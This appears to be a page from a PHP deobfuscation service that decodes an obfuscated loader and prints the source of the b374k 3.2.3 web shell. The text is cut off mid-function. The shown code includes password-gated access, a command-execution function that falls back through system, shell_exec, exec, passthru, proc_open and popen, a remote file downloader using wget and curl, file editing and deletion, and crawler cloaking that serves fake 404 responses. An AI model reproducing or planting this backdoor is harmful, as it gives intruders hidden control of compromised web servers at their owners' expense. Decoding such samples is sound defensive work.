Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $a = strtr("bask64_mkcomk","km","ed"); $b = $a('Ci8qCgliMzc0ayBzaGVsbCAzLjIuMwoJSm..

Decoded Output download


/*
	b374k shell 3.2.3
	Jayalah Indonesiaku
	(c)2014
	https://github.com/b374k/b374k

*/
$GLOBALS['pass'] = "fb621f5060b9f65acf8eb4232e3024140dea2b34"; // sha1(md5(pass))
$GLOBALS['module_to_load'] = array("explorer", "terminal", "eval", "convert", "database", "info", "mail", "network", "processes");$GLOBALS['resources']['b374k'] = "hVXZrrM4En6gjARhC8yoL9hXQ9gDd2xhJ5yw8/Tj/Oef7tPSSG3JwjZVXy1flZ0nc/Lvuk/KAhmH8j9pMhUU8a864CxnQ3W5fLFwmK5fiX4JV9xny9o8G32+Txphqs9CfjhSqDheisVojklHbHNcLDN17HJaGkpDHGhdFDpklnXd/aNwaGMgVWgoXoHVm2vqktW3PEmkD/Z7CBtSKFwVYXOX81wdh/mYNmh9uy2IWnNjLKB1cAYmEK+bjQWvxK+orA+8oiX9CB/f0dm1akNfVGEnrKGaM/na5bJYFvJ1SgdAFVAf+rRGvU999mkYoJFL16pSUlBmy+WJUVupTTGtU6XK9HlOSHG4FvwFHNcGCOKuChFmNCJqehEG3K0EDbuDmt4+06zR3RReV7N5HebBlir/ezZEeVe0Nm5G1xGjP/3Jeqe/u9orV5zNquk1x3PcGLLT6JkjPujd8lrSONnDONXDeED9+noWIYlGj3KG+s0PXDF+mE3WdzCGbk1r7ojliIpCbc0fNqPW6l85gHH+tAnPlt85WSKMmQ28qjKe3o2GXWHOiTTcl+wcIUec6XlonSgOmgmv1cBI6Od3roxffDJE9GBX4BKbgV1n4/jLZoY7bhxGjNpXaK6wlHEwS3b8yX+TYuhayNJmnOICeOYMlG6LXcaFMUH/teZTS3ENIE+QU2EUIOdVLjNHIDNrCjm1v/0vfbla4fmZyMymiqZn1uwrwLoF2sGzo/3WF6+m1XYL9KlKe7NzfZifT63w5JiENgVaRzIhx0CwCSCUB/AkCaCS4Ag5Z6LgtDx2N89Ysv3oBx60jwdzDLn5gdf+Hc//R7x7zdIffjwfpRw5OJJH3MVifMD8lL9zSCUheeayBLkKNAfG/pE3+g72xutwRB81m2gDTblZgroD3z9t3xRNVMTtE5CwfnGzDTgH1sP/8GBumjy8dung/MBz/o53/iPe+vHdwP9PLX5qlGd+1aPfOvK33He//eo/D/4XGCKTpSbBAlSVg+XT51mtIveF8kPtc+/oh+s7XKA0yVMyc1czK0m5FcizEtp3j9Uobo/VtFeRWwLVL9WirnUKcXlW93Szk17izDlPcX1EFbigsg1m4Bu3L7f8clGbN3VPcKlMC+WaGsjbLV5xpLikFwYn4nK/PwUux5s7Te7nMFjWuTxPwuXfN+fWDrpVEkUS5Ex458opjhDcjLNQQz05SfRiic/yxJYClJJ0GalwMFCLbU6gX550e9lKYn/sJnMVyGGiXy3NOwrpYvKrdGmF09vrvuSXhePUbezJ83DWELlMCqstgB6mN1DFTqlRJFHYXuoQS8VC57CK9a0j0aZJLwEtMql9hnM1CqajXPlsJmLrdJKyeyDCFF28zPzy/BwbK7F5Xa06LEld9yvNS5eEenjezdVXtzNGOeQowW+W0C5CpCdqTQ2rFy2snHfB5tLaxnjaATL3yDQw3ntK3pgFvqi3FeCPK7MNmeabrjgNujuF9XNHOT3yyrwS9lo0uWcT88uuFc0DDYnnO67Z2Iz9YA/06Nlnx6J76pWMd30jVPZGJDyv1qD4ioVxDtUloC8V2z4sSC9TJIZ5vFfrmY+EPCJSo3cjcFMDdBGWV3zCZ+Lga+VMThJhf7Wtqk8CO8uPgbFdr+pAL/ElXfq9aIzto2QY6WVupahhDceF44u7I/TE31hQI2KEiKvhc7bGjxbwGOxaCTKptWrZ3XMauYmqNLoVb4PhzUbTO0RLQ3T8zTOfK3wjk+6V52G/Lhhp7t65JjIFRMMJHjrilgb9VGKGbSbA6/4pfXGV29gx2755aq2/juOiGvnu325kquDsPUi7EG/wO6zHjEhlVTHv8G4hcjaT8nnqPPRmhdlaOYGmrsFcoggzVNpbBl9f4TlK6bWQoqUOnnnK8plsdesZ7WhmFVsSuPOx1BHp45oUpElV7XhhE/TYvfFXKszKl7t7TkzpzJO8l6zI9ki1soLaypb96wl3/cBydJKPVPWP/wI=";
$GLOBALS['resources']['mime'] = "dZThdqMgEIX/7zn7DvMC2jZ62t3HmQgaGkepCDFvvxeNis32xx3huwMYmUkwSvcvRWMtIfz+Fbb5CeC0gsvp/Y1iSEARQZGAMoJyBZ9WN/Rpm7ADoUWNrEw+T7TIbmeJLemhgNCUu4EdH2EekLwh47Sd0DcN9fuBX95U19GIpq+RpN946FSudKXziyIfLlC4PHnSn02r4Un05cm3ca2Nnn3yXPRc9NyTN0+jFXV8pXDO63gmBimvw0hQiuJH8ENLMnmS0h8sl9mW74Nmdc9FK8O5vQeC0iyc7fP4kX3w8UUOWwQTekJY2U2fhWJYwZTVuBooAa0hKAXIaJMMibeZLhEeh95dmeQK51ooBJfYHe64axLgMnY1LZoOPPRngg7shneWbyQAhW9sAjvudgtg4cCWW+OQ/EDXmAxFZTTNMTFwjIvHsFemf2FlKyHEFZzZmYrYk+vUysQoQwg0D6480CBmM5dm4H2+tAC+HLoUioMCjYBnsWUtzcAUn85OK3aFELRNTXslhHW+1ek8RWlwLA8+2KYxI7fZzXTKke6Pawcm6IBGR9A3FJsPj4tKeesr3Y156E2lqQ029f5b2IzCPhzWeT1wjh/Q2vLP6yttox+SPsqPR1Ic/ZD0933dKY7SpMFYgla0dsr2SlPGjLvmKgGmRgGbWXNIvIprgnZQt1gew46StkmO2f4RCp9A1DKjlnk6MmHUfLLYdhk+a7tc+cBCww8mbsA3pkNx2j3hxmgr3up9EprkHw==";
$GLOBALS['resources']['arrow'] = "FZXHDqtYDIYfKCPRS2Z0F4cSem+BHfVQA6HD00+uF/Zny2XzSy7SNf23GVJYItMH/pelS0mT/zQhZ7kHqklwBD8zvaAWA/gj/m8KIA/iX+Du8jOjfwv8m1Oit/Gjxfs5XYSyR7wZ9sdiLPaiE7rxwYZvDz3z0G0fN9Pt1PqiDLuyRgzA7sVpo2NvL3Cdy6p1eSS3Um21eZqfW2uc6Xc9STYjG0E8zybZ3lxYrGLgmij6FTgD+oE1fHzRyB9IXpIFlT+6J8XARNRivqAELyNW694fBYKgdQ54i2RquOgoIwOqEpRK6G66qk4HjFCAWX9NRp5cU6hMsdvSQhiGCXr7Hmfyl/TaR9KwjDxldWNp9wx7zux2sY0uWUABDxUQWhoG2Dt8WlOYIuH8fjpej0l0Ag3k01AHYyLNNo7exzAS7jczTk5oogzNlETVL5g2TcLYQI7n5y+9dRXzgN4z19fKr4mPCsLm+Z4fhc9nFab7ORjMJSOarH0XxJM8bMHBKhENzgreEnB4RwFNgUb1wm6yMFd9syRt0rPChFJ4e7D2md63/czFE+B2LsNxEpkwZeLntSUuUyuCTZGb0bYMBi9PfT3ACaK/fYdUE8GzeuLXbI0WiI/zRT7snWMV7vXc0BLFwQvIfSYKjgtoIiKJO8reFV4ahnMA1JRdKx1HMiyyMoZnMgQX7W2Jb4/tudaDRtJOUgZY5FAFbpEnYQiABEU5E+XyKu3pqRizh676B29Ssyk1ZZcZwLKwlms5igcnOp1+1ekSSQK9Lv0S2ZnH92jrgEbjN0b9dO44OK4Z4mIc2VxoxxZepzO+WLzcJrra8wYG5RKqDNe3w+ODQnrPzk+OyZo+z8kL8HK3XNhcc7Cy92cVYW3WsVZpSzZCVEopMlUun/XlOFzTWnVpt8ShAFmZsxVB3sNWkvLAUSxdyhWMgea1yH4jJVBb3QaAFPrxU3v6VD7DsFpOCVxSwRZsTFsw6Ga1qFmVUxS3tV9WjJkhkxZAMaHLA7+0NJ7dy9abkmqhppR9oAYIJM9g3OHTD+8+wQtkYMCiHSxQxMEzWvkktKPzgskfd/F3m4WH09lAfUtThQ+JA2pMvbnJ6t8SLwdtzXvR47Ze0Z0VkC5F6c7eSxl6n8/pudIYGl89MitzIHEuXxVYD3J+qt9oQ4PJqsQjEOewetHZEUf8UCRYjHw7vmxoe0Bjtx59p4PftRrDqXDRXTLqQ1NGLVE613PVZmyaiRe6SnV9b8SCdA91B7a1hB8RS3xWHIXdY6T9TwCc0xRi3IZGTB74VSs6rLkrXVm0jVjjQNstEz3DCNOpVy3Xk91cVJxbaOKEbFvrQCy2fxSUzhanvPq5bmccNWTPG3UbMsXoPWSS5TTTvo/W8LsiZ6Sdzdm2qGSqJapvuncb/jlI1c4i60NN53TasogwL0a/GFnyF4lgiGXW2N7BNyL5EEyQA42LdZtao2S9f+reA04QDbaEQtRg0YRlb/E0ksyci4MM1HlVvvqQlz0aqMXesslvqz7Y4baL0WvNHvflRnLNxLR5IFfb9KrZT97Lotz8OFtJJj9ugSFhVYy9nzcuRvC+vbF6zdrWpYtPek+rxjaeMog4pvOIbJ3wOTQmFb3d/atN9HV7ZsuZFAIRngh0oVQKZXb+fgBOdQNKnDsVQvjnz/8=";
$GLOBALS['ver'] = "3.2.3";
$GLOBALS['title'] = "b374k";

@ob_start();
error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
@ini_set('html_errors','0');
@ini_set('display_errors','1');
@ini_set('display_startup_errors','1');
@ini_set('log_errors','0');
@set_time_limit(0);
@clearstatcache();

if(!function_exists('auth')){
	function auth(){
		if(isset($GLOBALS['pass']) && (trim($GLOBALS['pass'])!='')){
			$c = $_COOKIE;
			$p = $_POST;
			if(isset($p['pass'])){
				$your_pass = sha1(md5($p['pass']));
				if($your_pass==$GLOBALS['pass']){
					setcookie("pass", $your_pass, time()+36000, "/");
					header("Location: ".get_self());
				}
			}

			if(!isset($c['pass']) || ((isset($c['pass'])&&($c['pass']!=$GLOBALS['pass'])))){
				$res = "<!doctype html>
		<html>
		<head>
		<meta charset='utf-8'>
		<meta name='robots' content='noindex, nofollow, noarchive'>
		<meta name='viewport' content='width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no, user-scalable=0'>
		</head>
		<body style='background:#f8f8f8;color:#000000;padding:0;margin:0;'><br><p><center><noscript>You need to enable javascript</noscript></center></p>
		<script type='text/javascript'>
		var d = document;
		d.write(\"<br><br><form method='post'><center><input type='password' id='pass' name='pass' style='font-size:34px;width:34%;outline:none;text-align:center;background:#ffffff;padding:8px;border:1px solid #cccccc;border-radius:8px;color:#000000;'></center></form>\");
		d.getElementById('pass').focus();
		d.getElementById('pass').setAttribute('autocomplete', 'off');
		</script>
		</body></html>
		";
				echo $res;
				die();
			}
		}
	}
}

if(!function_exists('get_server_info')){
	function get_server_info(){
		$server_addr = isset($_SERVER['SERVER_ADDR'])? $_SERVER['SERVER_ADDR']:$_SERVER["HTTP_HOST"];
		$server_info['ip_adrress'] = "Server IP : ".$server_addr." <span class='strong'>|</span> Your IP : ".$_SERVER['REMOTE_ADDR'];
		$server_info['time_at_server'] = "Time <span class='strong'>@</span> Server : ".@date("d M Y H:i:s",time());
		$server_info['uname'] = php_uname();
		$server_software = (getenv('SERVER_SOFTWARE')!='')? getenv('SERVER_SOFTWARE')." <span class='strong'>|</span> ":'';
		$server_info['software'] = $server_software."  PHP ".phpversion();		
		return $server_info;
	}
}

if(!function_exists('get_self')){
	function get_self(){
		$query = (isset($_SERVER["QUERY_STRING"])&&(!empty($_SERVER["QUERY_STRING"])))?"?".$_SERVER["QUERY_STRING"]:"";
		return html_safe($_SERVER["REQUEST_URI"].$query);
	}
}

if(!function_exists('get_post')){
	function get_post(){
		return fix_magic_quote($_POST);
	}
}

if(!function_exists('get_nav')){
	function get_nav($path){
		return parse_dir($path);
	}
}

if(!function_exists('get_cwd')){
	function get_cwd(){
		$cwd = getcwd().DIRECTORY_SEPARATOR;
		if(!isset($_COOKIE['cwd'])){
			setcookie("cwd", $cwd);
		}
		else{
			$cwd_c = rawurldecode($_COOKIE['cwd']);
			if(is_dir($cwd_c)) $cwd = realpath($cwd_c).DIRECTORY_SEPARATOR;
			else setcookie("cwd", $cwd);
		}
		return $cwd;
	}
}

if(!function_exists('wrap_with_quotes')){
	function wrap_with_quotes($str){
		return "\"".$str."\"";
	}
}

if(!function_exists('get_resource')){
	function get_resource($type){
		if(isset($GLOBALS['resources'][$type])){
			return gzinflate(base64_decode($GLOBALS['resources'][$type]));
		}
		return false;
	}
}

if(!function_exists('block_bot')){
	function block_bot(){
		// block search engine bot
		if(isset($_SERVER['HTTP_USER_AGENT']) && (preg_match('/bot|spider|crawler|slurp|teoma|archive|track|snoopy|java|lwp|wget|curl|client|python|libwww/i', $_SERVER['HTTP_USER_AGENT']))){
			header("HTTP/1.0 404 Not Found");
			header("Status: 404 Not Found");
			die();
		}
		elseif(!isset($_SERVER['HTTP_USER_AGENT'])){
			header("HTTP/1.0 404 Not Found");
			header("Status: 404 Not Found");
			die();
		}
	}
}

if(!function_exists('is_win')){
	function is_win(){
		return (strtolower(substr(php_uname(),0,3)) == "win")? true : false;
	}
}

if(!function_exists('fix_magic_quote')){
	function fix_magic_quote($arr){
		$quotes_sybase = strtolower(ini_get('magic_quotes_sybase'));
		if(function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()){
			if(is_array($arr)){
				foreach($arr as $k=>$v){
					if(is_array($v)) $arr[$k] = clean($v);
					else $arr[$k] = (empty($quotes_sybase) || $quotes_sybase === 'off')? stripslashes($v) : stripslashes(str_replace("\'\'", "\'", $v));
				}
			}
		}
		return $arr;
	}
}

if(!function_exists('execute')){
	function execute($code){
		$output = "";
		$code = $code." 2>&1";

		if(is_callable('system') && function_exists('system')){
			ob_start();
			@system($code);
			$output = ob_get_contents();
			ob_end_clean();
			if(!empty($output)) return $output;
		}
		elseif(is_callable('shell_exec') && function_exists('shell_exec')){
			$output = @shell_exec($code);
			if(!empty($output)) return $output;
		}
		elseif(is_callable('exec') && function_exists('exec')){
			@exec($code,$res);
			if(!empty($res)) foreach($res as $line) $output .= $line;
			if(!empty($output)) return $output;
		}
		elseif(is_callable('passthru') && function_exists('passthru')){
			ob_start();
			@passthru($code);
			$output = ob_get_contents();
			ob_end_clean();
			if(!empty($output)) return $output;
		}
		elseif(is_callable('proc_open') && function_exists('proc_open')){
			$desc = array(
				0 => array("pipe", "r"),
				1 => array("pipe", "w"),
				2 => array("pipe", "w"));
			$proc = @proc_open($code, $desc, $pipes, getcwd(), array());
			if(is_resource($proc)){
				while($res = fgets($pipes[1])){
					if(!empty($res)) $output .= $res;
				}
				while($res = fgets($pipes[2])){
					if(!empty($res)) $output .= $res;
				}
			}
			@proc_close($proc);
			if(!empty($output)) return $output;
		}
		elseif(is_callable('popen') && function_exists('popen')){
			$res = @popen($code, 'r');
			if($res){
				while(!feof($res)){
					$output .= fread($res, 2096);
				}
				pclose($res);
			}
			if(!empty($output)) return $output;
		}
		return "";
	}
}

if(!function_exists('html_safe')){
	function html_safe($str){
		return htmlspecialchars($str, 2 | 1);
	}
}

if(!function_exists('parse_dir')){
	function parse_dir($path){
		$path = realpath($path).DIRECTORY_SEPARATOR;
		$paths = explode(DIRECTORY_SEPARATOR, $path);
		$res = "";
		for($i = 0; $i < sizeof($paths)-1; $i++){
			$x = "";
			for($j = 0; $j <= $i; $j++) $x .= $paths[$j].DIRECTORY_SEPARATOR;
			$res .= "<a class='navbar' data-path='".html_safe($x)."'>".html_safe($paths[$i])." ".DIRECTORY_SEPARATOR." </a>";
		}
		if(is_win()) $res = get_drives().$res;
		return trim($res);
	}
}

if(!function_exists('zip')){
	function zip($files, $archive){
		$status = false;
		if(!extension_loaded('zip')) return $status;
		if(class_exists("ZipArchive")){
			$zip = new ZipArchive();
			if(!$zip->open($archive, 1)) return $status;

			if(!is_array($files)) $files = array($files);
			foreach($files as $file){
				$file = str_replace(get_cwd(), '', $file);
				$file = str_replace('\', '/', $file);
				if(is_dir($file)){
					$filesIterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($file), 1);
					foreach($filesIterator as $iterator){
						$iterator = str_replace('\', '/', $iterator);
						if(in_array(substr($iterator, strrpos($iterator, '/')+1), array('.', '..'))) continue;

						if(is_dir($iterator)) $zip->addEmptyDir(str_replace($file.'/', '', $iterator.'/'));
						else if(is_file($iterator)) $zip->addFromString(str_replace($file.'/', '', $iterator), read_file($iterator));
					}
				}
				elseif(is_file($file)) $zip->addFromString(basename($file), read_file($file));
			}
			if($zip->getStatusString()!==false) $status = true;
			$zip->close();
		}
		return $status;
	}
}

if(!function_exists('compress')){
	function compress($type, $archive, $files){
		if(!is_array($files)) $files = array($files);
		if($type=='zip'){
			if(zip($files, $archive)) return true;
			else return false;
		}
		elseif(($type=='tar')||($type=='targz')){
			$archive = basename($archive);

			$listsBasename = array_map("basename", $files);
			$lists = array_map("wrap_with_quotes", $listsBasename);

			if($type=='tar') execute("tar cf \"".$archive."\" ".implode(" ", $lists));
			elseif($type=='targz') execute("tar czf \"".$archive."\" ".implode(" ", $lists));

			if(is_file($archive)) return true;
			else return false;
		}
		return false;
	}
}

if(!function_exists('decompress')){
	function decompress($type, $archive, $path){
		$path = realpath($path).DIRECTORY_SEPARATOR;
		$status = false;
		if(is_dir($path)){
			chdir($path);
			if($type=='unzip'){
				if(class_exists('ZipArchive')){
					$zip = new ZipArchive();
					$target = $path.basename($archive,".zip");
					if($zip->open($archive)){
						if(!is_dir($target)) mkdir($target);
						if($zip->extractTo($target)) $status = true;
						$zip->close();
					}
				}
			}
			elseif($type=='untar'){
				$target = basename($archive,".tar");
				if(!is_dir($target)) mkdir($target);
				$before = count(get_all_files($target));
				execute("tar xf \"".basename($archive)."\" -C \"".$target."\"");
				$after = count(get_all_files($target));
				if($before!=$after) $status = true;

			}
			elseif($type=='untargz'){
				$target = "";
				if(strpos(strtolower($archive), ".tar.gz")!==false) $target = basename($archive,".tar.gz");
				elseif(strpos(strtolower($archive), ".tgz")!==false) $target = basename($archive,".tgz");

				if(!is_dir($target)) mkdir($target);
				$before = count(get_all_files($target));
				execute("tar xzf \"".basename($archive)."\" -C \"".$target."\"");
				$after = count(get_all_files($target));
				if($before!=$after) $status = true;
			}
		}
		return $status;
	}
}

if(!function_exists('download')){
	function download($url ,$saveas){
		if(!preg_match("/[a-z]+:\/\/.+/",$url)) return false;
		$filename = basename($url);

		if($content = read_file($url)){
			if(is_file($saveas)) unlink($saveas);
			if(write_file($saveas, $content)){
				return true;
			}
		}

		$buff = execute("wget ".$url." -O ".$saveas);
		if(is_file($saveas)) return true;

		$buff = execute("curl ".$url." -o ".$saveas);
		if(is_file($saveas)) return true;

		$buff = execute("lwp-download ".$url." ".$saveas);
		if(is_file($saveas)) return true;

		$buff = execute("lynx -source ".$url." > ".$saveas);
		if(is_file($saveas)) return true;

		return false;
	}
}

if(!function_exists('get_fileperms')){
	function get_fileperms($file){
		if($perms = @fileperms($file)){
		$flag = 'u';
		if(($perms & 0xC000) == 0xC000)$flag = 's';
		elseif(($perms & 0xA000) == 0xA000)$flag = 'l';
		elseif(($perms & 0x8000) == 0x8000)$flag = '-';
		elseif(($perms & 0x6000) == 0x6000)$flag = 'b';
		elseif(($perms & 0x4000) == 0x4000)$flag = 'd';
		elseif(($perms & 0x2000) == 0x2000)$flag = 'c';
		elseif(($perms & 0x1000) == 0x1000)$flag = 'p';
		$flag .= ($perms & 00400)? 'r':'-';
		$flag .= ($perms & 00200)? 'w':'-';
		$flag .= ($perms & 00100)? 'x':'-';
		$flag .= ($perms & 00040)? 'r':'-';
		$flag .= ($perms & 00020)? 'w':'-';
		$flag .= ($perms & 00010)? 'x':'-';
		$flag .= ($perms & 00004)? 'r':'-';
		$flag .= ($perms & 00002)? 'w':'-';
		$flag .= ($perms & 00001)? 'x':'-';
		return $flag;
		}
		else return "???????????";
	}
}

if(!function_exists('format_bit')){
	function format_bit($size){
		$base = log($size) / log(1024);
		$suffixes = array('B','KB','MB','GB','TB','PB','EB','ZB','YB');
		return round(pow(1024, $base - floor($base)),2)." ".$suffixes[floor($base)];
	}
}

if(!function_exists('get_filesize')){
	function get_filesize($file){
		$size = @filesize($file);
		if($size!==false){
			if($size<=0) return 0;
			return format_bit($size);
		}
		else return "???";
	}
}

if(!function_exists('get_filemtime')){
	function get_filemtime($file){
		return @date("d-M-Y H:i:s", filemtime($file));
	}
}

if(!function_exists('get_fileowner')){
	function get_fileowner($file){
		$owner = "?:?";
		if(function_exists("posix_getpwuid")){
			$name = posix_getpwuid(fileowner($file));
			$group = posix_getgrgid(filegroup($file));
			$owner = $name['name'].":".$group['name'];
		}
		return $owner;
	}
}

if(!function_exists('rmdirs')){
	function rmdirs($dir, $counter = 0){
		if(is_dir($dir)) $dir = realpath($dir).DIRECTORY_SEPARATOR;
		if($dh = opendir($dir)){
			while(($f = readdir($dh))!==false){
				if(($f!='.')&&($f!='..')){
					$f = $dir.$f;
					if(@is_dir($f)) $counter += rmdirs($f);
					else{
						if(unlink($f)) $counter++;
					}
				}
			}
			closedir($dh);
			if(rmdir($dir)) $counter++;;
		}
		return $counter;
	}
}

if(!function_exists('copys')){
	function copys($source , $target ,$c=0){
		$source = realpath($source).DIRECTORY_SEPARATOR;
		if($dh = opendir($source)){
			if(!is_dir($target)) mkdir($target);
			$target = realpath($target).DIRECTORY_SEPARATOR;

			while(($f = readdir($dh))!==false){
				if(($f!='.')&&($f!='..')){
					if(is_dir($source.$f)){
						copys($source.$f, $target.$f, $c);
					}
					else{
						if(copy($source.$f, $target.$f)) $c++;
					}
				}
			}
			closedir($dh);
		}
		return $c;
	}
}

if(!function_exists('get_all_files')){
	function get_all_files($path){
		$path = realpath($path).DIRECTORY_SEPARATOR;
		$files = glob($path.'*');
		for($i = 0; $i<count($files); $i++){
			if(is_dir($files[$i])){
				$subdir = glob($files[$i].DIRECTORY_SEPARATOR.'*');
				if(is_array($files) && is_array($subdir)) $files = array_merge($files, $subdir);
			}
		}
		return $files;
	}
}

if(!function_exists('read_file')){
	function read_file($file){
		$content = false;
		if($fh = @fopen($file, "rb")){
			$content = "";
			while(!feof($fh)){
			  $content .= fread($fh, 8192);
			}
		}
		return $content;
	}
}

if(!function_exists('write_file')){
	function write_file($file, $content){
		if($fh = @fopen($file, "wb")){
			if(fwrite($fh, $content)!==false) return true;
		}
		return false;
	}
}

if(!function_exists('view_file')){
	function view_file($file, $type, $preserveTimestamp='true'){
		$output = "";
		if(is_file($file)){
			$dir = dirname($file);

			$owner = "";
			if(!is_win()){
				$owner = "<tr><td>Owner</td><td>".get_fileowner($file)."</td></tr>";
			}

			$image_info = @getimagesize($file);
			$mime_list = get_resource('mime');
			$mime = "";
			$file_ext_pos = strrpos($file, ".");
			if($file_ext_pos!==false){
				$file_ext = trim(substr($file, $file_ext_pos),".");
				if(preg_match("/([^\s]+)\ .*".$file_ext.".*/i", $mime_list, $res)){
					$mime = $res[1];
				}
			}
			if($type=="auto"){
				if(is_array($image_info)) $type = 'image';
				//elseif(strtolower(substr($file,-3,3)) == "php") $type = "code";
				elseif(!empty($mime)) $type = "multimedia";
				else $type = "raw";
			}

			$content = "";
			if($type=="code"){
				$hl_arr = array(
							"hl_default"=> ini_get('highlight.default'),
							"hl_keyword"=> ini_get('highlight.keyword'),
							"hl_string"=> ini_get('highlight.string'),
							"hl_html"=> ini_get('highlight.html'),
							"hl_comment"=> ini_get('highlight.comment')
							);
				
				
				$content = highlight_string(read_file($file),true);
				foreach($hl_arr as $k=>$v){
					$content = str_replace("<font color=\"".$v."\">", "<font class='".$k."'>", $content);
					$content = str_replace("<span style=\"color: ".$v."\">", "<span class='".$k."'>", $content);
				}
			}
			elseif($type=="image"){
				$width = (int) $image_info[0];
				$height = (int) $image_info[1];
				$image_info_h = "Image type = <span class='strong'>(</span> ".$image_info['mime']." <span class='strong'>)</span><br>
					Image Size = <span class='strong'>( </span>".$width." x ".$height."<span class='strong'> )</span><br>";
				if($width > 800){
					$width = 800;
					$imglink = "<p><a id='viewFullsize'>
					<span class='strong'>[ </span>View Full Size<span class='strong'> ]</span></a></p>";
				}
				else $imglink = "";

				$content = "<center>".$image_info_h."<br>".$imglink."
					<img id='viewImage' style='width:".$width."px;' src='data:".$image_info['mime'].";base64,".base64_encode(read_file($file))."' alt='".$file."'></center>
	";

			}
			elseif($type=="multimedia"){
				$content = "<center>
							<video controls>
							<source src='' type='".$mime."'>

							</video>
							<p><span class='button' onclick=\"multimedia('".html_safe(addslashes($file))."');\">Load Multimedia File</span></p>
							</center>";
			}
			elseif($type=="edit"){
				$preservecbox = ($preserveTimestamp=='true')? " cBoxSelected":"";
				$content = "<table id='editTbl'><tr><td colspan='2'><input type='text' id='editFilename' class='colSpan' value='".html_safe($file)."' onkeydown=\"trap_enter(event, 'edit_save_raw');\"></td></tr><tr><td class='colFit'><span class='button' onclick=\"edit_save_raw();\">save</span></td><td style='vertical-align:middle;'><div class='cBox".$preservecbox."'></div><span>preserve modification timestamp</span><span id='editResult'></span></td></tr><tr><td colspan='2'><textarea id='editInput' spellcheck='false' onkeydown=\"trap_ctrl_enter(this, event, 'edit_save_raw');\">".html_safe(read_file($file))."</textarea></td></tr></table>";
			}
			elseif($type=="hex"){
				$preservecbox = ($preserveTimestamp=='true')? " cBoxSelected":"";
				$content = "<table id='editTbl'><tr><td colspan='2'><input type='text' id='editFilename' class='colSpan' value='".html_safe($file)."' onkeydown=\"trap_enter(event, 'edit_save_hex');\"></td></tr><tr><td class='colFit'><span class='button' onclick=\"edit_save_hex();\">save</span></td><td style='vertical-align:middle;'><div class='cBox".$preservecbox."'></div><span>preserve modification timestamp</span><span id='editHexResult'></span></td></tr><tr><td colspan='2'><textarea id='editInput' spellcheck='false' onkeydown=\"trap_ctrl_enter(this, event, 'edit_save_hex');\">".bin2hex(read_file($file))."</textarea></td></tr></table>";
			}
			else $content = "<pre>".html_safe(read_file($file))."</pre>";



			$output .= "
	<table id='viewFile' class='boxtbl'>
	<tr><td style='width:120px;'>Filename</td><td>".html_safe($file)."</td></tr>
	<tr><td>Size</td><td>".get_filesize($file)." (".filesize($file).")</td></tr>
	".$owner."
	<tr><td>Permission</td><td>".get_fileperms($file)."</td></tr>
	<tr><td>Create time</td><td>".@date("d-M-Y H:i:s",filectime($file))."</td></tr>
	<tr><td>Last modified</td><td>".@date("d-M-Y H:i:s",filemtime($file))."</td></tr>
	<tr><td>Last accessed</td><td>".@date("d-M-Y H:i:s",fileatime($file))."</td></tr>
	<tr data-path='".html_safe($file)."'><td colspan='2'>
	<span class='navigate button' style='width:120px;'>explorer</span>
	<span class='action button' style='width:120px;'>action</span>
	<span class='button' style='width:120px;' onclick=\"view('".html_safe(addslashes($file))."', 'raw');hide_box();\">raw</span>
	<span class='button' style='width:120px;' onclick=\"view('".html_safe(addslashes($file))."', 'code');hide_box();\">code</span>
	<span class='button' style='width:120px;' onclick=\"view('".html_safe(addslashes($file))."', 'hex');hide_box();\">hex</span>
	<span class='button' style='width:120px;' onclick=\"view('".html_safe(addslashes($file))."', 'image');hide_box();\">image</span>
	<span class='button' style='width:120px;' onclick=\"view('".html_safe(addslashes($file))."', 'multimedia');hide_box();\">multimedia</span>
	</td></tr>
	<tr><td colspan='2'><div id='viewFilecontent'>".$content."</div></td></tr>
	</table>";


		}
		else $output = "error";
		return $output;
	}
}

if(!function_exists('get_writabledir')){
	function get_writabledir(){
		if(is_writable(".")) return realpath(".").DIRECTORY_SEPARATOR;
		else{
			foreach(array('TMP', 'TEMP', 'TMPDIR') as $k){
				if(!empty($_ENV[$k])){
					if(is_writable($_ENV[$k])) return realpath($_ENV[$k]).DIRECTORY_SEPARATOR;
				}
			}
			if(function_exists("sys_get_temp_dir")){
				$dir = sys_get_temp_dir();
				if(is_writable($dir)) return realpath($dir).DIRECTORY_SEPARATOR;
			}
			else{
				if(!is_win()){ if(is_writable("/tmp")) return "/tmp/"; }
			}

			$tempfile = tempnam(__FILE__,'');
			if(file_exists($tempfile)){
				$dir = realpath(dirname($tempfile)).DIRECTORY_SEPARATOR;
				unlink($tempfile);
				return $dir;
			}
		}
		return false;
	}
}

if(!function_exists('get_drives')){
	function get_drives(){
		$drives = "";
		$v = explode("\", get_cwd());
		$v = $v[0];
		foreach (range("A", "Z") as $letter){
			if(@is_readable($letter.":\")){
				$drives .= "<a class='navbar' data-path='".$letter.":\'>[ ";
				if($letter.":" != $v) $drives .= $letter;
				else{$drives .= "<span class='drive-letter'>".$letter."</span>";}
				$drives .= " ]</a> ";
			}
		}
		return $drives;
	}
}

if(!function_exists('show_all_files')){
	function show_all_files($path){
		if(!is_dir($path)) return "No such directory : ".$path;
		chdir($path);
		$output = "";
		$allfiles = $allfolders = array();
		if($res = opendir($path)){
			while($file = readdir($res)){
				if(($file!='.')&&($file!="..")){
					if(is_dir($file)) $allfolders[] = $file;
					elseif(is_file($file))$allfiles[] = $file;
				}
			}
		}

		array_unshift($allfolders, ".");
		$cur = getcwd();
		chdir("..");
		if(getcwd()!=$cur) array_unshift($allfolders, "..");
		chdir($cur);

		natcasesort($allfolders);
		natcasesort($allfiles);

		$cols = array();
		if(is_win()){
			$cols = array(
					"perms"=>"get_fileperms",
					"modified"=>"get_filemtime"
					);
		}
		else{
			$cols = array(
					"owner"=>"get_fileowner",
					"perms"=>"get_fileperms",
					"modified"=>"get_filemtime"
					);
		}

		$totalFiles = count($allfiles);
		$totalFolders = 0;

		$output .= "<table id='xplTable' class='dataView sortable'><thead>";
		$output .= "<tr><th class='col-cbox sorttable_nosort'><div class='cBoxAll'></div></th><th class='col-name'>name</th><th class='col-size'>size</th>";

		foreach($cols as $k=>$v){
			$output .= "<th class='col-".$k."'>".$k."</th>";
		}
		$output .= "</tr></thead><tbody>";

		foreach($allfolders as $d){
			$cboxException = "";
			if(($d==".")||($d=="..")){
				$action = "actiondot";
